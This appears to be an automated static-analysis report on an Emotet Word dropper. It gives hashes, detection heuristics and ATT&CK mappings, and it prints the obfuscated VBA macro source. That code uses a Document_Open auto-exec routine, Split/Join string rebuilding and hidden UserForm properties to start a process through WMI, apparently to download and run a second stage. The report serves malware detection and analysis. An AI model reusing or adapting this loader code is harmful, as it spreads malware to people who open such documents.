Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7f53ea4c64012caa…

MALICIOUS

Office (OLE)

178.9 KB Created: 2020-07-21 08:21:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 6ee1e4cca94d3593df42c41cba4528fe SHA-1: 436e64193949a8a1d12317038a4d8c1fb5118d06 SHA-256: 7f53ea4c64012caad27163ff00c2aefd9e2dff6a4c5fe488955be018c8af4362
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection explicitly names Emotet. The VBA script uses CreateObject to instantiate an object and appears to be designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9939 bytes
SHA-256: 9690579a28114adb9616ae0e7f0e16c00a84b841aa71193c12be533df733ec22
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cowbaoszojgeaz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
woxpaoqumiotgum
End Sub


Attribute VB_Name = "cehboiwfiequsautwaubsoof"
Attribute VB_Base = "0{51F2C3E8-A4ED-4812-9757-0047ADD5E899}{260A8A3E-411E-41D6-8546-8C993E266B91}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "puutpoawthaemfeathraodwoaqu"
Function woxpaoqumiotgum()
koehjoizfoquyoupfan = Chr(cehboiwfiequsautwaubsoof.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
nuuchmavpaechpiagjaeydaoz = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + koehjoizfoquyoupfan + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + cehboiwfiequsautwaubsoof.tiefraudzujyoencheun + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
queatthauv = hourheadxiyveapfeeg(nuuchmavpaechpiagjaeydaoz)
Dim qVcuRkJreP As Object
Set hemloivgiadfuat = CreateObject(queatthauv)
Dim lWiD As Byte
nuagzoavyoolkiequfascaum = cehboiwfiequsautwaubsoof.dedgoirjeeg.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
deumweavnieyxiothsoal = queatthauv + koehjoizfoquyoupfan + cehboiwfiequsautwaubsoof.buy.ControlTipText + nuagzoavyoolkiequfascaum
Dim kfTvg As Boolean
huulquaermoirthoepmiodxob = deumweavnieyxiothsoal + cehboiwfiequsautwaubsoof.tiefraudzujyoencheun
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set diervaiwbeiququoinmeotjuud = diatzaethdoijlaith(huulquaermoirthoepmiodxob)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, hemloivgiadfuat. _
Create(lauzthiammekfeechgidcoj, choipkutvuuvweef, diervaiwbeiququoinmeotjuud))
Dim BZIhfU As Boolean
End Function
Function diatzaethdoijlaith(zeidzonyookseachvaopber)
Set diatzaethdoijlaith = CreateObject(zeidzonyookseachvaopber)
diatzaethdoijlaith _
. _
showwindow = (suahnoehweif + voipdenpaeb) + (thaixdoasmeaptelteivkeuj + suagyeaz)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function hourheadxiyveapfeeg(rib)
chuahravfeakbampaobgeow = rib
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
miehxoiqu = Split(chuahravfeakbampaobgeow, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
theustoeh = posx + Join(miehxoiqu, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
hourheadxiyveapfeeg = theustoeh
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function lauzthiammekfeechgidcoj()
io = cehboiwfiequsautwaubsoof.ceechkuudkaehlawnaswah.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
lauzthiammekfeechgidcoj = hourheadxiyveapfeeg(io)
End Function


' Processing file: /opt/analyzer/scan_staging/1ff32fa56ca84fa59d9d4ff2760b1b5c.bin
' ===============================================================================
' Module streams:
' Macros/VBA/cowbaoszojgeaz - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub cowbaoszojgeaz())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/cehboiwfiequsautwaubsoof - 1204 by
... (truncated)

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